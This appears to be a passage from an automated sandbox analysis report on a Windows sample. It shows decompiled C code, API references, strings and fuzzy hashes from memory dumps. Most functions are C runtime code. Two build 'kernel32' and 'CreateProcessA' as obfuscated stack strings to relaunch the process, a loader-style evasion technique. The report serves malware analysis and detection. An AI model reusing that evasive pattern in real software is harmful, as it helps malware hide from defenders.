					if(_t90 != 0xfffffffe) {
						E6EF5D700(_t71, 0xfffffffe, _t93, 0x6ef8609c);
						goto L14;
					}
					goto L15;
				} else {
					_v32 = _t51;
					_v28 = _a12;
					 *((intOrPtr*)(_t71 - 4)) =  &_v32;
					if(_t90 == 0xfffffffe) {
						L15:
						return _v16;
					} else {
						do {
							_t75 = _v12;
							_t20 = _t90 + 2; // 0x3
							_t58 = _t90 + _t20 * 2;
							_t73 =  *((intOrPtr*)(_t75 + _t58 * 4));
							_t59 = _t75 + _t58 * 4;
							_t76 =  *((intOrPtr*)(_t59 + 4));
							_v24 = _t59;
							if( *((intOrPtr*)(_t59 + 4)) == 0) {
								_t77 = _v5;
								goto L8;
							} else {
								_t60 = E6EF5D6B0(_t76, _t93);
								_t77 = 1;
								_v5 = 1;
								_t110 = _t60;
								if(_t110 < 0) {
									_v16 = 0;
									L14:
									_push(_t93);
									E6EF5D390(_v12);
									goto L15;
								} else {
									if(_t110 > 0) {
										_t61 = _a4;
										__eflags =  *_t61 - 0xe06d7363;
										if( *_t61 == 0xe06d7363) {
											__eflags =  *0x6ef68a30;
											if(__eflags != 0) {
												_t67 = E6EF66B90(__eflags, 0x6ef68a30);
												_t102 = _t102 + 4;
												__eflags = _t67;
												if(_t67 != 0) {
													_t97 =  *0x6ef68a30; // 0x6ef5e30c
													 *0x6ef68124(_a4, 1);
													 *_t97();
													_t93 = _v20;
													_t102 = _t102 + 8;
												}
												_t61 = _a4;
											}
										}
										E6EF5D6E4(_t61, _a8, _t61);
										_t63 = _a8;
										__eflags =  *((intOrPtr*)(_t63 + 0xc)) - _t90;
										if( *((intOrPtr*)(_t63 + 0xc)) != _t90) {
											E6EF5D700(_t63, _t90, _t93, 0x6ef8609c);
											_t63 = _a8;
										}
										 *((intOrPtr*)(_t63 + 0xc)) = _t73;
										_t64 = E6EF5D390(_v12);
										E6EF5D6C8();
										asm("int3");
										__imp__InterlockedFlushSList(_v40, _t98, _t93);
										__eflags = _t64;
										if(_t64 != 0) {
											_push(_t93);
											do {
												_t95 =  *_t64;
												E6EF5E93F(_t64);
												_t64 = _t95;
												__eflags = _t95;
											} while (_t95 != 0);
											return _t64;
										}
										return _t64;
									} else {
										goto L8;
									}
								}
							}
							goto L29;
							L8:
							_t90 = _t73;
						} while (_t73 != 0xfffffffe);
						if(_t77 != 0) {
							goto L14;
						}
						goto L15;
					}
				}
				L29:
			}

APIs

_ValidateLocalCookies.LIBCMT ref: 6EF5D3FB
___except_validate_context_record.LIBVCRUNTIME ref: 6EF5D403
_ValidateLocalCookies.LIBCMT ref: 6EF5D491
__IsNonwritableInCurrentImage.LIBCMT ref: 6EF5D4BC
_ValidateLocalCookies.LIBCMT ref: 6EF5D511

Strings

csm, xrefs: 6EF5D4A6

Memory Dump Source

Source File: 00000003.00000002.251835971.000000006EF42000.00000020.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000003.00000002.251820758.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.251828353.000000006EF41000.00000080.00020000.sdmp Download File
Associated: 00000003.00000002.251891282.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.251940987.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.251947290.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.251995168.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.252015960.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 3b58627d17bf2d09b49b441a9c9c0d9890db59319692f0077740380f4a7415f4
Instruction ID: 8eae739eff93d6182229daa7e9efbc0b4125497431479f65b9151b0914240b47
Opcode Fuzzy Hash: 3b58627d17bf2d09b49b441a9c9c0d9890db59319692f0077740380f4a7415f4
Instruction Fuzzy Hash: B841A734A12209EBCF00DFA9C8646AF7BB5AF66318F10C556E8149B351D733A961CF91

Uniqueness

Uniqueness Score: -1.00%

Function 6EF60262, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 78
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EF60262(void* __ecx, signed int* _a4, intOrPtr _a8) {
				signed int* _v8;
				void** _t12;
				void* _t16;
				void* _t18;
				signed int _t22;
				WCHAR* _t23;
				void** _t26;
				signed int* _t29;
				void* _t32;
				void* _t34;

				_t29 = _a4;
				while(_t29 != _a8) {
					_t22 =  *_t29;
					_t12 = 0x6ef9e350 + _t22 * 4;
					_t32 =  *_t12;
					_v8 = _t12;
					if(_t32 == 0) {
						_t23 =  *(0x6ef68ce8 + _t22 * 4);
						_t32 = LoadLibraryExW(_t23, 0, 0x800);
						if(_t32 != 0) {
							L12:
							_t26 = _v8;
							 *_t26 = _t32;
							if( *_t26 != 0) {
								FreeLibrary(_t32);
							}
							L14:
							if(_t32 != 0) {
								_t16 = _t32;
								L18:
								return _t16;
							}
							L15:
							_t29 =  &(_t29[1]);
							continue;
						}
						_t18 = GetLastError();
						if(_t18 != 0x57) {
							L9:
							_t32 = 0;
							L10:
							if(_t32 != 0) {
								goto L12;
							}
							 *_v8 = _t18 | 0xffffffff;
							goto L15;
						}
						_t18 = E6EF5FE77(_t23, L"api-ms-", 7);
						_t34 = _t34 + 0xc;
						if(_t18 == 0) {
							goto L9;
						}
						_t18 = E6EF5FE77(_t23, L"ext-ms-", 7);
						_t34 = _t34 + 0xc;
						if(_t18 == 0) {
							goto L9;
						}
						_t18 = LoadLibraryExW(_t23, _t32, _t32);
						_t32 = _t18;
						goto L10;
					}
					if(_t32 == 0xffffffff) {
						goto L15;
					}
					goto L14;
				}
				_t16 = 0;
				goto L18;
			}

Strings

api-ms-, xrefs: 6EF602B9
ext-ms-, xrefs: 6EF602CD

Memory Dump Source

Source File: 00000003.00000002.251835971.000000006EF42000.00000020.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000003.00000002.251820758.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.251828353.000000006EF41000.00000080.00020000.sdmp Download File
Associated: 00000003.00000002.251891282.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.251940987.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.251947290.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.251995168.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.252015960.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: cb9aefef45b2d5bcd058da68a3235c54ed9b5fed65582aab202e51152e9ca0e8
Instruction ID: 460e845ad6ff0fbaf8eeaf2e51d9c577fe0e66654c25e3ed94957a6f2d5291ce
Opcode Fuzzy Hash: cb9aefef45b2d5bcd058da68a3235c54ed9b5fed65582aab202e51152e9ca0e8
Instruction Fuzzy Hash: 2F215733B85225FBCB715AE98C60B5E3B68AF43760F300954EC25A7291FBB0DD0086E0

Uniqueness

Uniqueness Score: -1.00%

Function 6EF411A4, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 69
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 42%

			E6EF411A4() {
				void* _v3;
				_Unknown_base(*)()* _v8;
				_Unknown_base(*)()* _v12;
				char _v13;
				short _v15;
				intOrPtr _v19;
				intOrPtr _v23;
				char _v27;
				char _v28;
				char _v29;
				short _v31;
				intOrPtr _v35;
				intOrPtr _v39;
				char _v43;
				char _v44;
				intOrPtr _v48;
				char _v52;
				char _v68;
				char _v136;
				intOrPtr* _t29;
				struct HINSTANCE__* _t33;
				struct HINSTANCE__* _t35;
				void* _t37;
				signed int* _t40;
				signed int _t48;
				signed int _t54;

				_v52 = 0x6e72656b;
				_v48 = 0x32336c65;
				asm("aam 0x65");
				asm("insb");
				_t54 = _t48 ^  *_t40;
				_v44 = 0;
				_v43 = 0x43746547;
				if(_t54 != 0) {
					_v39 = 0x616d6d6f;
					_v35 = 0x694c646e;
					_v31 = 0x656e;
					_v29 = 0x41;
					_v28 = 0;
					_v27 = 0x61657243;
					_v23 = 0x72506574;
					_v19 = 0x7365636f;
					_v15 = 0x4173;
					_v13 = 0;
					_v12 = 0;
					_v8 = 0;
				}
				asm("cld");
				 *_t29 =  *_t29 + _t29;
				 *_t29 =  *_t29 + _t29;
				E6EF5C640(_t29);
				E6EF41426( &_v136, 0, 0x44);
				E6EF41426( &_v68, 0, 0x10);
				_t19 =  &_v52; // 0x6e72656b
				_t33 = GetModuleHandleA(_t19);
				_t20 =  &_v43; // 0x43746547
				_v12 = GetProcAddress(_t33, _t20);
				_t35 = _t33;
				_t22 =  &_v27; // 0x61657243
				_v8 = GetProcAddress(_t35, _t22);
				_t37 = _v12();
				_push( &_v68);
				_push( &_v136);
				_push(0);
				_push(0);
				_push(0);
				_push(1);
				_push(0);
				_push(0);
				_push(_t37);
				_push(0);
				if(_v8() != 0) {
					 *0x6ef86060 = _v68;
					E6EF5C650();
				}
				E6EF5C630();
				L7:
				goto L7;
			}

0x6ef411ad
0x6ef411b4
0x6ef411b6
0x6ef411b8
0x6ef411b9
0x6ef411bb
0x6ef411bf
0x6ef411c3
0x6ef411c6
0x6ef411cd
0x6ef411d4
0x6ef411da
0x6ef411de
0x6ef411e2
0x6ef411e9
0x6ef411f0
0x6ef411f7
0x6ef411fd
0x6ef41201
0x6ef41208
0x6ef41208
0x6ef4120a
0x6ef4120b
0x6ef4120d
0x6ef4120f
0x6ef4121f
0x6ef4122f
0x6ef41237
0x6ef4123b
0x6ef41242
0x6ef4124d
0x6ef41250
0x6ef41251
0x6ef4125c
0x6ef4125f
0x6ef41265
0x6ef4126c
0x6ef4126d
0x6ef4126f
0x6ef41271
0x6ef41273
0x6ef41275
0x6ef41277
0x6ef41279
0x6ef4127a
0x6ef41281
0x6ef41286
0x6ef4128b
0x6ef4128b
0x6ef41290
0x6ef41295
0x00000000

APIs

GetModuleHandleA.KERNEL32(kernel32), ref: 6EF4123B
GetProcAddress.KERNEL32(00000000,GetCommandLineCreateProcessA), ref: 6EF41247
GetProcAddress.KERNEL32(?,CreateProcessA), ref: 6EF41256

Part of subcall function 6EF5C650: ExitProcess.KERNEL32 ref: 6EF5C657

Strings

GetCommandLineCreateProcessA, xrefs: 6EF41242, 6EF41245
sA, xrefs: 6EF411F7
kernel32, xrefs: 6EF41237, 6EF4123A

Memory Dump Source

Source File: 00000003.00000002.251828353.000000006EF41000.00000080.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000003.00000002.251820758.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.251835971.000000006EF42000.00000020.00020000.sdmp Download File
Associated: 00000003.00000002.251891282.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.251940987.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.251947290.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.251995168.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.252015960.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$ExitHandleModuleProcess
String ID: GetCommandLineCreateProcessA$kernel32$sA
API String ID: 1008726298-1906453927
Opcode ID: aefea5e549130eebb894cc9949042bfd20a6db1d68a66224e876d8c3db33b42c
Instruction ID: f261d4ee226a4554eaf946dac62731a8c26c2da0cfc9d7c44df082f95852cf7e
Opcode Fuzzy Hash: aefea5e549130eebb894cc9949042bfd20a6db1d68a66224e876d8c3db33b42c
Instruction Fuzzy Hash: 582166B1D14308EBEF10DFE0C955BEEBB79AF45B04F108849E200BA285D7B45658CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 6EF41167, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 67
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E6EF41167() {
				intOrPtr* _t25;
				struct HINSTANCE__* _t29;
				struct HINSTANCE__* _t31;
				void* _t33;
				void* _t43;
				void* _t44;
				void* _t48;

				if(_t48 != 0) {
					 *((intOrPtr*)(_t43 - 0x23)) = 0x616d6d6f;
					 *((intOrPtr*)(_t43 - 0x1f)) = 0x694c646e;
					 *((short*)(_t43 - 0x1b)) = 0x656e;
					 *((char*)(_t43 - 0x19)) = 0x41;
					 *((char*)(_t43 - 0x18)) = 0;
					 *((intOrPtr*)(_t43 - 0x17)) = 0x61657243;
					 *((intOrPtr*)(_t43 - 0x13)) = 0x72506574;
					 *((intOrPtr*)(_t43 - 0xf)) = 0x7365636f;
					 *((short*)(_t43 - 0xb)) = 0x4173;
					 *((char*)(_t43 - 9)) = 0;
					 *((intOrPtr*)(_t43 - 8)) = 0;
					 *((intOrPtr*)(_t43 - 4)) = 0;
				}
				_t44 = _t43 + 1;
				asm("cld");
				 *_t25 =  *_t25 + _t25;
				 *_t25 =  *_t25 + _t25;
				E6EF5C640(_t25);
				E6EF41426(_t44 - 0x84, 0, 0x44);
				E6EF41426(_t44 - 0x40, 0, 0x10);
				_t15 = _t44 - 0x30; // 0x6e72656b
				_t29 = GetModuleHandleA(_t15);
				_t16 = _t44 - 0x27; // 0x43746547
				 *((intOrPtr*)(_t44 - 8)) = GetProcAddress(_t29, _t16);
				_t31 = _t29;
				_t18 = _t44 - 0x17; // 0x61657243
				 *((intOrPtr*)(_t44 - 4)) = GetProcAddress(_t31, _t18);
				_t33 =  *((intOrPtr*)(_t44 - 8))();
				_push(_t44 - 0x40);
				_push(_t44 - 0x84);
				_push(0);
				_push(0);
				_push(0);
				_push(1);
				_push(0);
				_push(0);
				_push(_t33);
				_push(0);
				if( *((intOrPtr*)(_t44 - 4))() != 0) {
					 *0x6ef86060 =  *((intOrPtr*)(_t44 - 0x40));
					E6EF5C650();
				}
				E6EF5C630();
				L6:
				goto L6;
			}

0x6ef411c3
0x6ef411c6
0x6ef411cd
0x6ef411d4
0x6ef411da
0x6ef411de
0x6ef411e2
0x6ef411e9
0x6ef411f0
0x6ef411f7
0x6ef411fd
0x6ef41201
0x6ef41208
0x6ef41208
0x6ef41209
0x6ef4120a
0x6ef4120b
0x6ef4120d
0x6ef4120f
0x6ef4121f
0x6ef4122f
0x6ef41237
0x6ef4123b
0x6ef41242
0x6ef4124d
0x6ef41250
0x6ef41251
0x6ef4125c
0x6ef4125f
0x6ef41265
0x6ef4126c
0x6ef4126d
0x6ef4126f
0x6ef41271
0x6ef41273
0x6ef41275
0x6ef41277
0x6ef41279
0x6ef4127a
0x6ef41281
0x6ef41286
0x6ef4128b
0x6ef4128b
0x6ef41290
0x6ef41295
0x00000000

APIs

GetModuleHandleA.KERNEL32(kernel32), ref: 6EF4123B
GetProcAddress.KERNEL32(00000000,GetCommandLineCreateProcessA), ref: 6EF41247
GetProcAddress.KERNEL32(?,CreateProcessA), ref: 6EF41256

Strings

GetCommandLineCreateProcessA, xrefs: 6EF41242, 6EF41245
sA, xrefs: 6EF411F7
kernel32, xrefs: 6EF41237, 6EF4123A

Memory Dump Source

Source File: 00000003.00000002.251828353.000000006EF41000.00000080.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000003.00000002.251820758.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.251835971.000000006EF42000.00000020.00020000.sdmp Download File
Associated: 00000003.00000002.251891282.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.251940987.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.251947290.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.251995168.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.252015960.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$HandleModule
String ID: GetCommandLineCreateProcessA$kernel32$sA
API String ID: 667068680-1906453927
Opcode ID: 98e4a5990f6ae9d6ec8549ae8c5c01ab0cf32d3eed245a61e0259be5d82c723d
Instruction ID: 8fe6b86e8179c624d8217495e059555063842ac7f79488d2703c72eca875931f
Opcode Fuzzy Hash: 98e4a5990f6ae9d6ec8549ae8c5c01ab0cf32d3eed245a61e0259be5d82c723d
Instruction Fuzzy Hash: 48218CB1D04348EBEF10DFE0CC55BEEBF79AF41B00F10884AE200AA281D7B45658CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 6EF647A7, Relevance: 10.6, APIs: 7, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EF647A7(intOrPtr _a4) {
				void* _t18;

				_t45 = _a4;
				if(_a4 != 0) {
					E6EF6476F(_t45, 7);
					E6EF6476F(_t45 + 0x1c, 7);
					E6EF6476F(_t45 + 0x38, 0xc);
					E6EF6476F(_t45 + 0x68, 0xc);
					E6EF6476F(_t45 + 0x98, 2);
					E6EF5FEFF( *((intOrPtr*)(_t45 + 0xa0)));
					E6EF5FEFF( *((intOrPtr*)(_t45 + 0xa4)));
					E6EF5FEFF( *((intOrPtr*)(_t45 + 0xa8)));
					E6EF6476F(_t45 + 0xb4, 7);
					E6EF6476F(_t45 + 0xd0, 7);
					E6EF6476F(_t45 + 0xec, 0xc);
					E6EF6476F(_t45 + 0x11c, 0xc);
					E6EF6476F(_t45 + 0x14c, 2);
					E6EF5FEFF( *((intOrPtr*)(_t45 + 0x154)));
					E6EF5FEFF( *((intOrPtr*)(_t45 + 0x158)));
					E6EF5FEFF( *((intOrPtr*)(_t45 + 0x15c)));
					return E6EF5FEFF( *((intOrPtr*)(_t45 + 0x160)));
				}
				return _t18;
			}

APIs

Part of subcall function 6EF6476F: _free.LIBCMT ref: 6EF64794

_free.LIBCMT ref: 6EF647F5

Part of subcall function 6EF5FEFF: RtlFreeHeap.NTDLL(00000000,00000000,?,6EF64799,?,00000000,?,00000000,?,6EF647C0,?,00000007,?,?,6EF64436,?), ref: 6EF5FF15
Part of subcall function 6EF5FEFF: GetLastError.KERNEL32(?,?,6EF64799,?,00000000,?,00000000,?,6EF647C0,?,00000007,?,?,6EF64436,?,?), ref: 6EF5FF27

_free.LIBCMT ref: 6EF64800
_free.LIBCMT ref: 6EF6480B
_free.LIBCMT ref: 6EF6485F
_free.LIBCMT ref: 6EF6486A
_free.LIBCMT ref: 6EF64875
_free.LIBCMT ref: 6EF64880

Memory Dump Source

Source File: 00000003.00000002.251835971.000000006EF42000.00000020.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000003.00000002.251820758.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.251828353.000000006EF41000.00000080.00020000.sdmp Download File
Associated: 00000003.00000002.251891282.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.251940987.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.251947290.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.251995168.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.252015960.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 0779c2e4d56e3e30a940d228595ad2773c700ad36579aa28866cdfec2d56c8f4
Instruction ID: 98f09c590ff90671cf282dd6672c447683a8ae673eeaead1269b412ad48a6a5d
Opcode Fuzzy Hash: 0779c2e4d56e3e30a940d228595ad2773c700ad36579aa28866cdfec2d56c8f4
Instruction Fuzzy Hash: E211B132540B44ABD920F7F0CC25FCB779EAF91704FA00C56B2996A251EB34B5115680

Uniqueness

Uniqueness Score: -1.00%

Function 6EF6312B, Relevance: 9.3, APIs: 6, Instructions: 319
fileCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E6EF6312B(void* __ebx, void* __edi, void* __esi, void* __eflags, void* _a4, signed int _a8, long _a12, intOrPtr _a16) {
				signed int _v8;
				char _v16;
				char _v23;
				char _v24;
				void _v32;
				signed int _v33;
				long _v40;
				long _v44;
				char _v47;
				void _v48;
				intOrPtr _v52;
				long _v56;
				char _v60;
				intOrPtr _v68;
				char _v72;
				struct _OVERLAPPED* _v76;
				signed int _v80;
				signed int _v84;
				intOrPtr _v88;
				signed int _v92;
				long _v96;
				long _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				long _v112;
				void* _v116;
				char _v120;
				int _v124;
				intOrPtr _v128;
				struct _OVERLAPPED* _v132;
				struct _OVERLAPPED* _v136;
				struct _OVERLAPPED* _v140;
				struct _OVERLAPPED* _v144;
				signed int _t172;
				signed int _t174;
				int _t178;
				intOrPtr _t183;
				intOrPtr _t186;
				void* _t188;
				void* _t190;
				long _t193;
				void _t198;
				long _t202;
				void* _t206;
				intOrPtr _t212;
				signed char* _t213;
				char _t216;
				signed int _t219;
				char* _t220;
				void* _t222;
				long _t228;
				intOrPtr _t229;
				char _t231;
				long _t235;
				struct _OVERLAPPED* _t243;
				signed int _t246;
				intOrPtr _t249;
				signed int _t252;
				signed int _t253;
				signed int _t255;
				struct _OVERLAPPED* _t256;
				intOrPtr _t258;
				void* _t262;
				long _t263;
				signed char _t264;
				signed int _t265;
				void* _t266;
				void* _t268;
				struct _OVERLAPPED* _t269;
				long _t270;
				signed int _t271;
				long _t275;
				signed int _t278;
				long _t279;
				struct _OVERLAPPED* _t280;
				signed int _t282;
				intOrPtr _t284;
				signed int _t286;
				signed int _t289;
				long _t290;
				long _t291;
				signed int _t292;
				intOrPtr _t293;
				signed int _t294;
				void* _t295;
				void* _t296;

				_t172 =  *0x6ef8609c; // 0xebcc447c
				_v8 = _t172 ^ _t294;
				_t174 = _a8;
				_t263 = _a12;
				_t282 = (_t174 & 0x0000003f) * 0x38;
				_t246 = _t174 >> 6;
				_v112 = _t263;
				_v84 = _t246;
				_v80 = _t282;
				_t284 = _a16 + _t263;
				_v116 =  *((intOrPtr*)(_t282 +  *((intOrPtr*)(0x6ef9e428 + _t246 * 4)) + 0x18));
				_v104 = _t284;
				_t178 = GetConsoleCP();
				_t243 = 0;
				_v124 = _t178;
				E6EF5EA98( &_v72, _t263, 0);
				asm("stosd");
				_t249 =  *((intOrPtr*)(_v68 + 8));
				_v128 = _t249;
				asm("stosd");
				asm("stosd");
				_t275 = _v112;
				_v40 = _t275;
				if(_t275 >= _t284) {
					L52:
					__eflags = _v60 - _t243;
				} else {
					_t286 = _v92;
					while(1) {
						_v47 =  *_t275;
						_v76 = _t243;
						_v44 = 1;
						_t186 =  *((intOrPtr*)(0x6ef9e428 + _v84 * 4));
						_v52 = _t186;
						if(_t249 != 0xfde9) {
							goto L23;
						}
						_t265 = _v80;
						_t212 = _t186 + 0x2e + _t265;
						_t256 = _t243;
						_v108 = _t212;
						while( *((intOrPtr*)(_t212 + _t256)) != _t243) {
							_t256 =  &(_t256->Internal);
							if(_t256 < 5) {
								continue;
							}
							break;
						}
						_t213 = _v40;
						_t278 = _v104 - _t213;
						_v44 = _t256;
						if(_t256 <= 0) {
							_t258 =  *((char*)(( *_t213 & 0x000000ff) + 0x6ef867f0)) + 1;
							_v52 = _t258;
							__eflags = _t258 - _t278;
							if(_t258 > _t278) {
								__eflags = _t278;
								if(_t278 <= 0) {
									goto L44;
								} else {
									_t290 = _v40;
									do {
										_t266 = _t265 + _t243;
										_t216 =  *((intOrPtr*)(_t243 + _t290));
										_t243 =  &(_t243->Internal);
										 *((char*)(_t266 +  *((intOrPtr*)(0x6ef9e428 + _v84 * 4)) + 0x2e)) = _t216;
										_t265 = _v80;
										__eflags = _t243 - _t278;
									} while (_t243 < _t278);
									goto L43;
								}
							} else {
								_t279 = _v40;
								__eflags = _t258 - 4;
								_v144 = _t243;
								_t260 =  &_v144;
								_v140 = _t243;
								_v56 = _t279;
								_t219 = (0 | _t258 == 0x00000004) + 1;
								__eflags = _t219;
								_push( &_v144);
								_v44 = _t219;
								_push(_t219);
								_t220 =  &_v56;
								goto L21;
							}
						} else {
							_t228 =  *((char*)(( *(_t265 + _v52 + 0x2e) & 0x000000ff) + 0x6ef867f0)) + 1;
							_v56 = _t228;
							_t229 = _t228 - _t256;
							_v52 = _t229;
							if(_t229 > _t278) {
								__eflags = _t278;
								if(_t278 > 0) {
									_t291 = _v40;
									do {
										_t268 = _t265 + _t243 + _t256;
										_t231 =  *((intOrPtr*)(_t243 + _t291));
										_t243 =  &(_t243->Internal);
										 *((char*)(_t268 +  *((intOrPtr*)(0x6ef9e428 + _v84 * 4)) + 0x2e)) = _t231;
										_t256 = _v44;
										_t265 = _v80;
										__eflags = _t243 - _t278;
									} while (_t243 < _t278);
									L43:
									_t286 = _v92;
								}
								L44:
								_t289 = _t286 + _t278;
								__eflags = _t289;
								L45:
								__eflags = _v60;
								_v92 = _t289;
							} else {
								_t269 = _t243;
								if(_t256 > 0) {
									_t293 = _v108;
									do {
										 *((char*)(_t294 + _t269 - 0xc)) =  *((intOrPtr*)(_t293 + _t269));
										_t269 =  &(_t269->Internal);
									} while (_t269 < _t256);
									_t229 = _v52;
								}
								_t279 = _v40;
								if(_t229 > 0) {
									E6EF5DD40( &_v16 + _t256, _t279, _v52);
									_t256 = _v44;
									_t295 = _t295 + 0xc;
								}
								if(_t256 > 0) {
									_t270 = _v44;
									_t280 = _t243;
									_t292 = _v80;
									do {
										_t262 = _t292 + _t280;
										_t280 =  &(_t280->Internal);
										 *(_t262 +  *((intOrPtr*)(0x6ef9e428 + _v84 * 4)) + 0x2e) = _t243;
									} while (_t280 < _t270);
									_t279 = _v40;
								}
								_v136 = _t243;
								_v120 =  &_v16;
								_t260 =  &_v136;
								_v132 = _t243;
								_push( &_v136);
								_t235 = (0 | _v56 == 0x00000004) + 1;
								_v44 = _t235;
								_push(_t235);
								_t220 =  &_v120;
								L21:
								_push(_t220);
								_push( &_v76);
								_t222 = E6EF64104(_t260);
								_t296 = _t295 + 0x10;
								if(_t222 == 0xffffffff) {
									goto L52;
								} else {
									_t275 = _t279 + _v52 - 1;
									L31:
									_t275 = _t275 + 1;
									_v40 = _t275;
									_t193 = E6EF627A9(_v124, _t243,  &_v76, _v44,  &_v32, 5, _t243, _t243);
									_t295 = _t296 + 0x20;
									_v56 = _t193;
									if(_t193 == 0) {
										goto L52;
									} else {
										if(WriteFile(_v116,  &_v32, _t193,  &_v100, _t243) == 0) {
											L51:
											_v96 = GetLastError();
											goto L52;
										} else {
											_t286 = _v88 - _v112 + _t275;
											_v92 = _t286;
											if(_v100 < _v56) {
												goto L52;
											} else {
												if(_v47 != 0xa) {
													L38:
													if(_t275 >= _v104) {
														goto L52;
													} else {
														_t249 = _v128;
														continue;
													}
												} else {
													_t198 = 0xd;
													_v48 = _t198;
													if(WriteFile(_v116,  &_v48, 1,  &_v100, _t243) == 0) {
														goto L51;
													} else {
														if(_v100 < 1) {
															goto L52;
														} else {
															_v88 = _v88 + 1;
															_t286 = _t286 + 1;
															_v92 = _t286;
															goto L38;
														}
													}
												}
											}
										}
									}
								}
							}
						}
						goto L53;
						L23:
						_t252 = _v80;
						_t264 =  *((intOrPtr*)(_t252 + _t186 + 0x2d));
						__eflags = _t264 & 0x00000004;
						if((_t264 & 0x00000004) == 0) {
							_v33 =  *_t275;
							_t188 = E6EF62E16(_t264);
							_t253 = _v33 & 0x000000ff;
							__eflags =  *((intOrPtr*)(_t188 + _t253 * 2)) - _t243;
							if( *((intOrPtr*)(_t188 + _t253 * 2)) >= _t243) {
								_push(1);
								_push(_t275);
								goto L30;
							} else {
								_t202 = _t275 + 1;
								_v56 = _t202;
								__eflags = _t202 - _v104;
								if(_t202 >= _v104) {
									_t271 = _v84;
									_t255 = _v80;
									 *((char*)(_t255 +  *((intOrPtr*)(0x6ef9e428 + _t271 * 4)) + 0x2e)) = _v33;
									 *(_t255 +  *((intOrPtr*)(0x6ef9e428 + _t271 * 4)) + 0x2d) =  *(_t255 +  *((intOrPtr*)(0x6ef9e428 + _t271 * 4)) + 0x2d) | 0x00000004;
									_t289 = _t286 + 1;
									goto L45;
								} else {
									_t206 = E6EF60CDA( &_v76, _t275, 2);
									_t296 = _t295 + 0xc;
									__eflags = _t206 - 0xffffffff;
									if(_t206 == 0xffffffff) {
										goto L52;
									} else {
										_t275 = _v56;
										goto L31;
									}
								}
							}
						} else {
							_v24 =  *((intOrPtr*)(_t252 + _t186 + 0x2e));
							_v23 =  *_t275;
							_push(2);
							 *(_t252 + _v52 + 0x2d) = _t264 & 0x000000fb;
							_push( &_v24);
							L30:
							_push( &_v76);
							_t190 = E6EF60CDA();
							_t296 = _t295 + 0xc;
							__eflags = _t190 - 0xffffffff;
							if(_t190 == 0xffffffff) {
								goto L52;
							} else {
								goto L31;
							}
						}
						goto L53;
					}
				}
				L53:
				if(__eflags != 0) {
					_t183 = _v72;
					_t167 = _t183 + 0x350;
					 *_t167 =  *(_t183 + 0x350) & 0xfffffffd;
					__eflags =  *_t167;
				}
				__eflags = _v8 ^ _t294;
				asm("movsd");
				asm("movsd");
				asm("movsd");
				return E6EF5C65E(_v8 ^ _t294);
			}

APIs

GetConsoleCP.KERNEL32(00000000,00000001,00000000), ref: 6EF63173
__fassign.LIBCMT ref: 6EF63352
__fassign.LIBCMT ref: 6EF6336F
WriteFile.KERNEL32(?,6EF607E3,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6EF633B7
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6EF633F7
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 6EF634A3

Memory Dump Source

Source File: 00000003.00000002.251835971.000000006EF42000.00000020.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000003.00000002.251820758.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.251828353.000000006EF41000.00000080.00020000.sdmp Download File
